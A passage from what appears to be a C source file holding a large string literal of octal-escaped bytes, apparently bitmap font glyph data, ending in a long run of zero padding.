\"\\0\\3\\6\\30p\\300p\\30\\6\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340        \\240\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\0\\0\\0\\300`\\60\\34\\6\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\230\\216\\203\\201\\200\\200\\200\"\n  \"\\200\\200\\200\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\20\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\10\\10\\10\\10\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\14x\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\7<\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\"\n  \"p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\6\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\10\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\60\\30\\60\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\14\\7\\1\\0\\0\\0\\0\\0\\1\\7\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0                   \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\30\\60`@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\10\\10\\14\\4\\4\\4\\14\\10\\70\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0|\\306\\202\\203\\201\\201\\201\\201\\301A\"\n  \"c\\377\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"`\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\30`@\\300\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"p\\30\\10\\14\\4\\4\\4\\14\\10\\10\\30|\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\300\"\n  \"@@ \\60\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30`\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\300\"\n  \"@`\\30\\377\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\71aA\\301\\201\\201\\201\\201\\201\"\n  \"\\301Aa!\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\60\\20\\20\\20\\20  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\"\n  \"\\4\\4\\4\\377\\4\\4\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30`\\374\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\300\"\n  \"@`\\30\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0      \\60\\20\\34\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377`\\30\\10\\14\\4\\4\\14\\10\\70\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\4\\4\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\4\\4\\4\\4\\4\\4\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0      \\60\\20\\34\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\0\\0\\200\\300d\\64\\34\\14\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\1\\1\\3\\6\\14\\30\"\n  \"\\260\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\374\\60\"\n  \"\\10\\4\\4\\14\\30\\360\\60\\10\\4\\4\\14\\30\\360\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\0\\0\\0\\0\\377\\200\\200\"\n  \"\\0\\0\\0\\0\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\"\n  \"\\374`\\30\\10\\14\\4\\4\\14\\10\\70\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\370\"\n  \"`\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\30`@\\300\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0   \\77    \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30p\\370\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\300\"\n  \"@`\\70\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0    \\77   \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\4\\4\\4\\374`\\20\\30\\10\\14\\4\\4\\4\\14\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"p\\330\\210\\214\\4\\4\\4\\14\\10\\30<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370`@@\\301\\201\\201\\201\\303\"\n  \"Bf<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\"\n  \"\\4\\377\\4\\4\\4\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77`\\300\\200\\200\\200\\200\"\n  \"\\300@` \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77`\\300\\200\\200\\200\\200\\300\"\n  \"@\\60\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\14\"\n  \"|\\304\\4\\0\\0\\0\\0\\0\\4\\304|\\14\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\70\\340\\200\\340\\70\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\374\"\n  \"\\4\\4\\0\\0\\300@\\300\\0\\0\\4\\4\\374\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\77\\340\\60\\36\\3\\0\\3\\36\"\n  \"\\60\\340\\77\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\"\n  \"\\34\\64d\\300\\200\\0\\200\\300d\\64\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\260\\230\\14\\7\\3\\7\\14\"\n  \"\\230\\260\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\34\"\n  \"t\\304\\4\\0\\0\\0\\0\\0\\4\\304t\\34\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\34p\\300p\\34\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0     \\70/! \\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"<\\4\\4\\4\\4\\204\\304d\\64\\34\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\230\\214\\206\\203\\200\\200\"\n  \"\\200\\200\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\60\\30\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\300\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\376\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\14\\10\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\30\\60\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\177\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\14\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"` \\60\\60`@\\300\\200\\0\\200\\300`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  